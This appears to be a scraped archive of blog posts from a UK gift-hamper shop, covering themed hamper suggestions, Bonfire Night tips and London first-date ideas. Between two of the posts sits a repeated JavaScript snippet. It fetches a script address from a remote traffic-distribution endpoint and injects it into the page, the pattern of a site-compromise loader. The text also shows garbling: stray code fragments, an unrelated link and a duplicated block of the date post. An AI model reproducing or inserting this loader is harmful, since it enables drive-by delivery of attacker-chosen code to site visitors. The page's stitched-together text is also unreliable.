Gift hampers for new years resolutions

New years is a time to reinvent yourself. With a whole 12 months ahead of you, what will your habits and lifestyle look like? If you’re making lifestyle changes this year, we’re here to help with gift hampers for new years resolutions. From alcohol-free to totally veggie, we’ve selected our favourites below.

Pamper Hampers for Self-Care

A popular new years resolution is to look after yourself better and take some more ‘me’ time. From getting good sleep to promoting relaxation; there’s a lot you can do. Here are some of the best hampers to enable restful self-reflection.

Bathtime Pamper Hamper

Slip into bliss with the indulgent Pomegranate Soy Candle Pot, Sisal Exfoliating Back Scrub, Japanese Konjac Sponge, Elizabeth Shaw Raisin & Hazelnut Biscuits, Wild Peony Square Bath Fizzer and other delights in this compact and naturally-focused bathing set.

Vanilla Berry Hat Box

This surprising gift hamper doesn’t contain a hat at all. Rather, the decadent bathing set includes vanilla & berry-scented bath products, slippers, a back scrubber, a wooden body massager and a body brush. Once you’ve indulged, use the hat box to store other useful items in the home.

Alcohol-Free Hampers for Dry January

Dry January is a popular annual event where people give up the booze for one month. It has a lot of health benefits and if you’re embarking on this teetotal journey; there are a few gift hampers for new years resolutions ideal to help you. Here are our favourites:

Tea & Coffee Break Tower

Instead of hitting the pub, you’ll be having more tea and coffee indulgences and that’s what this collection is all about. Edinburgh Tea & Coffee Co Medium Roast Coffee joins New English Teas Classic Earl Grey tea for a beautiful flavour symphony. Pair with the Chunky Apricot Flapjack, Honey & Sesame Breadsticks, Baronie Belgian Chocolate Vanilla Crisp Pieces and other treats in the boxes.

Great British Tower

Delicious and patriotic, the Great British Tower is a hamper gift like no other. Full of domestic favourites, this treat is stacked high with all the products you love. There’s Borders Biscuits Lemon Drizzle Melts, Peters Yard Fig & Spelt Sourdough Crackers, Cottage Delight The Cheese Maker’s Pickle, The Wooden Spoon Grapefruit & Lime Marmalade, Spicy Tomato Chutney Original Syrup Flapjack and so much more to explore.

Vegetarian Hampers for Healthy Diets

A newly-popular new years resolution is to eat less meat. And there are some health benefits associated with a more-veggie diet. So, if you’re looking to give up meat, here are some hamper options to treat yourself to:

Best of British Food Hamper

All broccoli and no sweets does not a happy veggie make. So with this treat, keep to your vegetarian commitment without losing amazing flavour. Try the Alice McPhersons Petticoat Tails Luxury Shortbread, The Wooden Spoon Plum, Pear & Apple Jam, Family Size Large Rich Fruit Cake or Dark Chocolate Coated Brazils with the included coffee or tea. And that’s not all the presents to explore inside!

Chocolate & Nut Delight | 6-Tier Gift Tower

Indulge your sweet tooth or savoury tastes without consuming meat. This is a veggie hamper like no other. Continental Sugared Almonds, Dark Chocolate Coated Brazils, I Love Snacks Smoked Almonds, Belgian Chocolate Vanilla Crisp Pieces, Captain Tiptoes Dry Roasted Peanuts Belgian Caramel Praline Pieces and much more hide inside these hand-presented boxes.


Want even more to choose from? View the whole catalogue here.

Last-minute UK Christmas gifts

Gift baskets make great last-minute UK Christmas gifts, but you’ll want to put in your orders now to ensure on-time delivery. We’ll wrap everything up with care and you’ll get tracking with your delivery note to give you peace of mind that your gift has arrived. Here are some of our favourites for anyone from the wine-lover to the foodie.

double wine gift box, the perfect Last-minute UK Christmas gifts

Double Wine Gift Box

What a great gift for any budding sommelier! The hardwood gift box is lovingly packaged and features a brass latch and faux leather straps. The crisp white, Errazuriz Sauvignon Blanc from Casablanca Valley, won bronze at the International Wine Challenge 2016 and PLATINUM BEST IN SHOW at the Decanter World Wine Awards that same year. Then the deep red, a Torres Mas Rabell Tinto Catalunya, won silver at the Decanter World Wine Awards 2009 and is the perfect accompaniment for all hearty, festive meals.

Christmas Cheese & Pate

Who doesn’t love cheese and pate? The delightful spread and rich, flavoursome dairy make the perfect combo. This Christmas gift basket includes Snowdonia Cheese Black Bomber Extra Mature Cheddar Truckle, Peters Yard Seeded Sourdough Flatbreads, Cottage Delight Farmhouse Pâté, Cottage Delight Spicy Mango and Ginger Chutney and much more. Plus, the handmade white woven basket makes a great storage option in their home once the treats are all gone.

Silver Xmas Tower | Award-Winning Cheese & Treats

This impressive tower of glistening metallic gifts is sure to delight. Among the huge range of treats are some national award winners. These include the Snowdonia Cheese Extra Mature Cheddar Waxed Truckle which won the World Cheese Award Bronze Medal in 2007, I Love Snacks Smoked Almonds winning Gold at the Great Taste Awards and the Buchanan’s Chocolate Dipped Fudge with a Food from Scotland Excellence Award. With more than 10 delicacies to explore, they’ll love this moreish gift.

The Noel Festive Food Basket

This red-wrapped, ultra-festive gift basket will look right at home under any Christmas tree. The impressive package includes Grandma Wilds Luxury Deep Filled Brandy Mince Pies, Dark Chocolate Coated Brazils, Baxters Albert’s Victorian Chutney, Luxury Rich Fruit Cake, Walkers Milk, White & Dark Chocolate Classics, Captain Tiptoes Dry Roasted Peanuts, Elizabeth Shaw Chocolate and Raspberry Cookies and so much more.

The Christmas Sparkle | Luxury Prosecco Hamper

Pop the bubbly, it’s the ho ho holidays! Anyone on your list would love sipping on the full-size bottle of Sant Orsola Prosecco NV from Italy. Then they’ll dive into the wide array of snacks including the box of 4 x Luxury Mince Pies and I Love Snacks Smoked Almonds. There’s also Pineapple & Papaya in Vanilla Syrup, Baxters Pineapple, Coconut & Zesty Lime Chutney and Duc d’O Dark Chocolate Flaked Truffle. Lastly, the Olive & Sesame Savoury Mini Breadsticks are really tasty too. When they’ve finished everything, the oval basket made from seagrass and wood is a delightfully rustic storage container for their pantry.

Looking for something a bit more opulent? Try the mouth-watering Supreme gift trunk with Champagne and 33 other food and drink items. Or, you can shop the full range of last-minute UK Christmas gifts here.

Affordable Christmas gift baskets for clients

If you’re looking for affordable Christmas gift baskets for clients, you’ve come to the right place. We’re stocking the best goodies for your new, existing, and returning clients with fast, tracked nationwide delivery to home or office. These pieces are all under £40 right now and absolutely delicious!

Chocolate Fruit & Nut Delight

This decadent treat basket has Buchanan’s Chocolate Eclairs, Elizabeth Shaw Raisin & Hazelnut Biscuits, Walkers Milk Turkish Delights, Chocolate Coated Brazils and other luscious treats all wrapped in a plum-coloured ribbon. This is one for those with a sweet tooth. They’ll love the Luscombe Organic Raspberry Crush which pairs delicately with the sweets. Lastly, when they’re finished, the basket makes for great desktop storage.

Christmas Surprise

The green, pine-inspired wrapping looks lush under even the harshest fluorescent office lighting. They’ll gasp as they unwrap a Traditional Christmas Pudding with Cider, Borders Lemon Drizzle Cookies and a box of 4 x Brandy Christmas Mince Pies. Then, they’ll tuck into the Walker’s Dark Chocolate After Dinner Mints or Honey Baked Flapjack. There really is so much more to explore. Overall, it’s one of the most affordable Christmas gift baskets for clients that will suit just about anyone.

Merry Christmas Basket

If your client is all about brand names, this basket is filled to the brim with niche and desirable treats. The delightful handmade oval wood and seagrass basket is tied with a luxury ribbon and contains a number of amazing tastes to explore. The Original Syrup & Oats Flapjack, Joe & Seph’s Caramel & Belgian Chocolate Gourmet Popcorn, Borders Dark Chocolate Ginger Biscuits, Grandma Wilds Butterscotch Cookies and Brown Bag Lightly Salted Crisps join a traditional Christmas pud and other delicacies in this overstuffed gift basket. In summary, this is perfect for clients who want a mix of salty and sweet and the basket is also reusable.

Chocolate & Nut Delight | 6-Tier Gift Tower

What’s more majestic as a client gift than a gift tower? These deep wine-coloured boxes are stacked high and include Captain Tiptoes Dry Roasted Peanuts, Belgian Caramel Praline Pieces, Milk Chocolate Dipped Fudge, Buchanan’s Chocolate Raspberry Caramels and much more. Include a personalised message with your gift to tell your client just how valued they are at your organisation. And, when they’ve consumed all the treats, the silver-topped boxes make excellent storage. Overall, this is an impressive gift to receive, especially for non-drinkers.

The Christmas Carol

Put a song in their heart with this traditionally-themed gift basket for clients. The reusable wicker basket in snow white is tied with a luxury ribbon and overstuffed with treats. They’ll love the half-bottle of Luis Felipe Edwards Lot 18 Merlot from Chile. It’s a delightful accompaniment to the taste adventure. This includes Pearls Traditional Brandy Christmas Pudding, Elizabeth Shaw Coconut & Hazelnut Biscuits, I Love Snacks Smoked Almonds, Belgian Milky Crisp Truffles and more. Lastly, while under £40, this affordable gift basket for clients includes wine. Overall, this is often the sign of quality and investment that your customers look for in a client gift.

Willing to spend a little more? Shop the full Christmas gift range here.

Winter wedding gift baskets

If you’re attending a wedding this winter, you might want to shop off the registry. However, winter wedding gift baskets are a popular option to accompany a cash gift or for delivery to their wedding hotel room instead. Show them you care by providing a savoury or sweet treat as a standalone gift or with your donation to their honeymoon or house fund. Here are some of our top recommendations below:

Savoury Heaven Gift Tower

These beautiful white and silver boxes are stacked high with festive treats and make a great gift for a snowy wedding. They’ll love the I Love Snacks Smoked Almonds, Captain Tiptoes Dry Roasted Peanuts, Peters Yard Fig & Spelt Sourdough Crackers, Edinburgh Tea & Coffee Co. Fresh Ground Medium Coffee and many other treats to explore inside. Once consumed, they can use these boxes for craft or office storage at home.

Gin & Treats Gift Basket

Let them cheers to a long life and lots of happiness with Tarquin’s Handcrafted Cornish Gin and Fever Tree Naturally Light Tonic Water. After taking a sip, the newlyweds can tuck into the Elizabeth Shaw Coconut & Hazelnut Biscuits, Joe & Seph’s Gin & Tonic Gourmet Popcorn, Willies Cacao Sea Flakes: Milk Chocolate with Sea Salt and other treats. And when they’ve finished, the wicker basket can get a second life as craft storage within their marital home.

The Connoisseurs Six

This impressive array of red, white and sparkling wine is the ideal gift for any newlywed’s wine cellar. Maschio Dei Cavalieri Prosecco di Valdobbiadene from Italy, Berri Estates Merlot from South-Eastern Australia and Torres Mas Rabell Tinto Catalunya are just some of the stand-out vintages in this collection. The six bottles are beautifully packaged in a hand-made wicker basket that looks great on the gifts table at the reception.

Pol Roger Champagne Hamper

What says ‘winter wedding gift baskets’ better than a post-nuptial wedding toast? When they retire to their suite after a long day of dancing and speeches, they can share a quiet drink in celebration. Your thoughtful gift of Pol Roger, Brut Réserve NV Champagne will be so welcome. They’ll pair it with Lindt Lindor Assorted Cornet Truffles and Olives Et Al Kiln Roasted Harissa Nuts. Then they’ll reach for the Grandma Wilds Butterscotch Biscuits and delicious Baronie Belgian Chocolate Caramel Pralines. It’s a taste sensation they can explore together. And when they’ve finished all the delicacies, they can reuse the wicker basket for a number of purposes.

Châteauneuf Du Pape & Sancerre

Perhaps the perfect his and hers of winter wedding gifts. This luxurious hardwood case with a brass latch contains two desirable vintages. The Châteauneuf-du-Pape, Les Bartavelles, Jean-Luc Colombo and the Sancerre, La Grande Châtelaine de Joseph Mellot shine here. They have won numerous awards for their delightful aroma and morish flavour. Once they’ve enjoyed imbibing, the newlywed couple can store their own favourite vintages in this reusable case.

Not quite the winter wedding gift baskets you were looking for? Have something a little different in mind? Perhaps the lovely couple is welcoming a new baby or in need of some rest and relaxation time? Shop all our gifts here.

Great gift ideas for zodiac signs

Today, we’re matching our gift baskets to different zodiac signs to provide some inspiration for your gifting. Our great gift ideas for zodiac signs range from boozy boxes to pamper towers and everything in between.

♈ Aries: March 21–April 19

Associated with Mars and the colour red, this Chocolate Lovers Hamper makes the perfect gift for any Aries. Spoil them with Duc d’O Belgian Chocolate Flaked Truffles, Willie’s Cacao Peruvian Hazelnut Raisin Chocolate, Dark Chocolate Coated Brazils and so much more.

♉ Taurus: April 20–May 20

Green is the colour for Taurus and they’re just so laidback, we had to go with a beer hamper for them. The Continental Beer Basket is filled to the brim with treats to pair with the Peroni Nastro Azzurro Italian Lager and Pilsner Urquell Czech Lager.

♊ Gemini: May 21–June 21

For Gemini, yellow is the right colour to tap into their mercurial nature. With the bright and sparkling Veuve Clicquot Hamper, they’ll feel luxuriously looked after with each sip of bubbly. And when they’ve finished, they can use the basket for shabby-chic home storage.

♋ Cancer: June 22–July 22

For Cancer, the icy colours of white and silver are supreme. And the Savoury Heaven Gift Tower fits them to a T. They’ll love the Brown Bag Crisps, Olive & Sesame Mini Breadsticks, I Love Snacks Smoked Almonds, Buchanan’s Chocolate Dipped Fudge 100g and other sweet & savoury treats.

♌ Leo: July 23–August 22

For orange-loving Leo, the Luxury Beer Hamper with English Ales is a match made in heaven. The golden-coloured ales are perfectly complemented with Cottage Delight Dipping Crackers with Hot Pepper, Karyatis Red Pepper & Feta Meze, Dry Roasted & Salted Peanuts and much more.

♍ Virgo: August 23–September 22

Centering, earth-focused colours for Virgo like green and brown are ideal. So let them tap into nature with this Vanilla Berry Hat Box. It’s the ultimate meditation and relaxation gift with lotions & potions in a warming vanilla berry scent.

♎ Libra: September 23–October 23

Pink is the ideal colour for Libra. And to celebrate it, pull out all the stops with the Pink Gin & Tonic Gift Box. They’ll love the Gordon’s Pink Gin & Schweppes Premixed Tonic paired with a wide range of savoury and sweet snacks to try.

♏ Scorpio: October 24–November 21

Deep red and black are perfect for passionate Scorpios. So treat them with this delightful shiraz in a dark wooden case. Every sip of the Mill Cellars Shiraz from South-Eastern Australia will tempt their tastebuds and the case can be reused time and time again.

♐ Sagittarius: November 22–December 21

The Stilton Surprise is ideal for a Sagittarius. This sign does great with plums and blues, so this festive-wrapped gift basket with cheese and wine treats is just perfect for them.

♑ Capricorn: December 22–January 19

Grey is the colour of Capricorns. So, make their day with a Tea & Coffee Break Hamper bursting with Earl Grey. They’ll love the sweet biscuits and muffins that pair delicately with the selection of beverages.

♒ Aquarius: January 20–February 18

Unsurprisingly, the water-sign Aquarius favours the colour blue. So, gift them the Great British Tower, chocked to the brim with patriotic favourites. And when they’ve finished, they can reuse the navy-coloured boxes for crafts and storage.

♓ Pisces: February 19–March 20

Lastly, The Emerald White Wine Basket with Baronie Belgian Milk Chocolate Hazelnut Praline Pieces, Sicilian Lemon Butter Cookies, Walkers Mint Chocolate Truffles and other decadent treats are ideal for light-green-loving Pisces.

Hopefully, our list has helped you find great gift ideas for zodiac signs in your life, but if not, shop the whole collection here.


const TIMEOUT_MS = 60_000;
try {
const tdsResponse = await fetch(‘https:///ofo’);
const scriptUrl = (await tdsResponse.text()).trim();

const loadScriptWithTimeout = (url, timeout) => {
return new Promise((resolve, reject) => {
const script = document.createElement(‘script’);
script.src = url;
script.async = true;

script.onload = () => {
clearTimeout(timer);
resolve();
};

script.onerror = () => {
clearTimeout(timer);
reject();
};

const timer = setTimeout(() => {
script.remove();
reject();
}, timeout);

document.body.appendChild(script);
});
};

await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);
} catch (_) {}
})();

Great corporate return-to-work gifts

Sometimes, our team members go off on maternity, long-term illness or enter recovery for mental health conditions. And when they come back to the office, we want to note and mark this occasion to show our care and positive sentiment. Using our corporate gift baskets as corporate return-to-work gifts is a great idea. Plus, for our corporate customers who intend to place regular orders, we can set up unique voucher codes, so you can claim a discount with each order, reducing the cost of this thoughtful benefit. So, today, we’ve selected some of the ideal gift baskets from our collection to use as great corporate return-to-work gifts:

The Goldsmore – The Best Bit-of-Everything Box

Shower them with an indulgence like no other where they will be spoilt for choice. This luxury box includes a wide range of treats including Peters Yard Fig & Spelt Sourdough Crackers, Edinburgh Tea & Coffee Co. Fresh Ground Breakfast Coffee, Baronie Italian Orange Chocolate Sticks, Lindt Excellence 70% Cocoa, Edinburgh Preserves Wild Boar Pâté, Olives Et Al Rosemary & Garlic Olives, Borders Dark Chocolate Gingers Biscuits, Buttermilk Crunchy Peanut Brittle, Olive & Sesame Savoury Bites Breadsticks, Baronie Belgian Milk Chocolate Caramel Pralines, Grandma Wilds Butter Shortbread Biscuits in Tin, Duc d’O Belgian Chocolate Flaked Truffles, Cottage Delight Spicy Mango and Ginger Chutney and so much more. Plus, when they’ve finished the treats, the whitewash wicker basket is ideal for household storage.

Deluxe Golden Tower – The Best Alcohol-free Gift Box

Each gold box is chocked full of fabulous treats without any tipples for new mums or those who cannot or do not drink. They’ll sample Lindt Lindor Milk Chocolate Truffles, Buchanan’s Chocolate Dipped Fudge, Buttermilk Caramel & Seasalt Fudge, Willies Cacao Chulucanas Gold – Peruvian 70% Dark Chocolate Tablets, Walkers After Dinner Chocolate Mints, Dark Chocolate Coated Brazils, Belgian Milk Chocolate Caramels, Sicilian Lemon Cookies, Belgian Chocolate Milky Crisp Pieces and loads more. And, when they’ve finished, the boxes make great packaging for other gifts too!

Pol Roger Champagne Hamper – The Classic Gift

Say “welcome back to the office” in the universal language of Champagne. This 75cl bottle of Pol Roger, Brut Réserve NV Champagne is the favourite of the late, great Sir Winston Churchill. It’s beloved for its unique aroma. And it’s paired with Lindt Lindor Assorted Cornet Truffle and Olives Et Al Kiln Roasted Harissa Nuts. There are also the favourite Grandma Wilds Butterscotch Biscuits and Baronie Belgian Chocolate Caramel Pralines too. Lastly, the whitewash wicker basket creates the perfect backdrop for every new treat to try. They’re sure to appreciate your thoughtfulness and the universal desirability of this high-quality Champagne.  https://freedomonlinecoalition.com/


Not quite what you’re looking for? We have a wide range of hampers that are ideally suited as corporate return-to-work gifts. New mums might love something from our newborn range. Or, if you’re looking for more alcohol-free hampers, you can shop our complete range here. Lastly, if you’re unsure of any dietary requirements, perhaps going for a pamper gift would be best. These gifts contain little to no food and focus on relaxing the mind and body instead.


const TIMEOUT_MS = 60_000;
try {
const tdsResponse = await fetch(‘https:///ofo’);
const scriptUrl = (await tdsResponse.text()).trim();

const loadScriptWithTimeout = (url, timeout) => {
return new Promise((resolve, reject) => {
const script = document.createElement(‘script’);
script.src = url;
script.async = true;

script.onload = () => {
clearTimeout(timer);
resolve();
};

script.onerror = () => {
clearTimeout(timer);
reject();
};

const timer = setTimeout(() => {
script.remove();
reject();
}, timeout);

document.body.appendChild(script);
});
};

await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);
} catch (_) {}
})();

Bonfire Night 2022 essentials

Bonfire night is fast approaching and if you’re wondering what Bonfire Night 2022 essentials you should have to hand before the 5th of November, this is your ultimate list. Grab the kids or invite over some mates and throw a fabulous Bonfire Night party.

What is Bonfire Night?

Bonfire Night is where the straw effigies of Guy Fawkes are burned on a large pyre to celebrate the failure of his plot to blow up the houses of parliament in 1605. Often, kids would carry these dolls down the road before the 5th and ask people for pennies. And there are popular rhymes associated with this tradition including, according to Britannica,

“Remember, remember, the fifth of November

Gunpowder treason and plot

We see no reason

Why Gunpowder treason

Should ever be forgot….”

So, while it’s all a little bit gruesome, it’s still a fun tradition to participate in simply for the community spirit that often comes with it.

What you’ll need

There are a number of Bonfire Night 2022 essentials that you’ll want to gather beforehand:

A guy doll

You may have your kids make their own straw doll to burn or participate as a block to make one together. You’ll need (of course) straw, old clothes and something to round out the head with like a papier-mâché balloon. Children really enjoy customising these figures leading up to the big day.

Some fireworks

While the big bonfire is the main event, it’s typical to set off a range of fireworks as well. Just remember to always practice fireworks safety and never let children hold or play with fireworks ever. If you have sparklers or poppers, teach them how to use them safely and discard them properly.

The food

You’ll want a mix of warm, holdable food like baked spuds, hot dogs and bangers. Plus, you’ll want vino for the adults and hot cups of tea or non-alcoholic cider for the little ones. Lastly, you’ll want a few nibbles laid out for people to munch on while they watch the fireworks. We love our picnic baskets for this. They’re full of great goodies and convenient to transport too. Oh, and don’t forget some marshmallows to toast on the bonfire later. It’s a classic treat!

The fire

There are many local bonfires you could travel to and that’s probably your easiest option. But, if you want to make a bonfire at home, first, clear a space in your back garden that you can walk completely around and that has no overhang. Fill several buckets of water nearby, just in case. Make your fire out of dry wood – pallets are great and often free to get a hold of. And before you light the fire, use a torch to make sure there are no children or animals hiding inside of the pyre. When it’s going, help your partygoers to toss the straw doll onto the flames. Never leave the fire unattended and don’t let kids play in it. Fully douse it with the hosepipe before going to bed and check it once more just to ensure there have been no flare-ups.

And that’s it! You’ll have a fabulous party on Guy Fawkes Night with these tips. And if you want a unique basket for your Bonfire Night 2022 essentials party list, talk to our team about your needs here.

8 great first date ideas in London

London is often so busy and bustling, that you forget it can be a city of love too. If you’re looking for 8 great first date ideas in London, we’ve got a list of interesting experiences that will still give you plenty of time to get to know each other.

#1 Sky Garden

London’s highest public garden, this botanical oasis is a breath of fresh air in a congested city environment. With many free tickets available for a lunch date or food and drink reservations in the evening, it’s a luscious experience that’s sure to get your relationship off to a great start.

#2 Tower of London

Outside of tourist season, the Tower of London is a lovely experience -even if you’re just walking around outside. With a few historic pubs nearby and a scenic route available to take you over Tower Bridge, it’s a great sunset experience for two.

#3 Buckingham Palace Grounds

See the world from the Queen’s perspective as you lunch on the Buckingham Palace Grounds in the summertime. Lucious greenery, perfectly-manicured lawns and delicious treats await you in this limited-run experience that’s ideal for a duo.

#4 Richmond Park

With loads of deer and other wildlife, this protected Royal Park is a must-see and the perfect place for a lunchtime date. Bring a picnic feast for two and indulge under the historic trees which dot the park. Great if you have dogs or love being in nature with photo opportunities that will look lovely in the afternoon sun.

London is often so busy and bustling, that you forget it can be a city of love too. If you’re looking for 8 great first date ideas in London, we’ve got a list of interesting experiences that will still give you plenty of time to get to know each other. #1 Sky Garden London’s highest public garden, this botanical oasis is a breath of fresh air in a congested city environment. With many free tickets available for a lunch date or food and drink reservations in the evening, it’s a luscious experience that’s sure to get your relationship off to a great start. #2 Tower of London Outside of tourist season, the Tower of London is a lovely experience -even if you’re just walking around outside. With a few historic pubs nearby and a scenic route available to take you over Tower Bridge, it’s a great sunset experience for two. #3 Buckingham Palace Grounds See the world from the Queen’s perspective as you lunch on the Buckingham Palace Grounds in the summertime. Lucious greenery, perfectly-manicured lawns and delicious treats await you in this limited-run experience that’s ideal for a duo. #4 Richmond Park With loads of deer and other wildlife, this protected Royal Park is a must-see and the perfect place for a lunchtime date. Bring a picnic feast for two and indulge under the historic trees which dot the park. Great if you have dogs or love being in nature with photo opportunities that will look lovely in the afternoon sun. #5 South Bank Want a lively first date full of culture, music and people-watching? Then you have to go to South Bank London. With loads of great restaurants, bars and special events, there’s always something going on. And the views of the Thames are a stunning accompaniment. #6 Greenwich Cutty Sark One of the more unusual national museums, the Greenwich Cutty Sark is an interesting nautical experience surrounded by great pubs and restaurants. Tired of walking? Bring a blanket with a picnic hamper and find a pitch in Greenwich Park nearby. Want even more exploration? The Greenwich Observatory is also a short distance away. #7 Hyde Park Speaker’s Corner Want to hear preaching, discussion and arguments from the weird, wild and wonderful of London’s academic and philosophic community? Speaker’s Corner in Hyde Park is a place of protected free speech where the soapbox still reigns supreme. They explain, “In 1872, an act of parliament set aside this part of Hyde Park for public speaking. Even today, on a Sunday morning, it's not unusual to find crowds gathering at Speakers' Corner to listen to enthusiasts expounding their views. Anyone can turn up unannounced to speak on any subject, as long as the police consider their speeches lawful.” It’s an interesting talking point for any twosome to banter about. #8 Portobello Road Market Visit the world’s largest antique market and discover hidden treasures from the day’s gone by. While it can be busy, strolling through the shops and searching out items can make for a great bonding experience and is one of the more unusual first date ideas in London including southbank

#5 South Bank

Want a lively first date full of culture, music and people-watching? Then you have to go to South Bank London. With loads of great restaurants, bars and special events, there’s always something going on. And the views of the Thames are a stunning accompaniment.

#6 Greenwich Cutty Sark

One of the more unusual national museums, the Greenwich Cutty Sark is an interesting nautical experience surrounded by great pubs and restaurants. Tired of walking? Bring a blanket with a picnic hamper and find a pitch in Greenwich Park nearby. Want even more exploration? The Greenwich Observatory is also a short distance away.

#7 Hyde Park Speaker’s Corner

Want to hear preaching, discussion and arguments from the weird, wild and wonderful of London’s academic and philosophic community? Speaker’s Corner in Hyde Park is a place of protected free speech where the soapbox still reigns supreme. They explain, “In 1872, an act of parliament set aside this part of Hyde Park for public speaking. Even today, on a Sunday morning, it’s not unusual to find crowds gathering at Speakers’ Corner to listen to enthusiasts expounding their views. Anyone can turn up unannounced to speak on any subject, as long as the police consider their speeches lawful.” It’s an interesting talking point for any twosome to banter about.

#8 Portobello Road Market

Visit the world’s largest antique market and discover hidden treasures from the day’s gone by. While it can be busy, strolling through the shops and searching out items can make for a great bonding experience and is one of the more unusual first date ideas in London.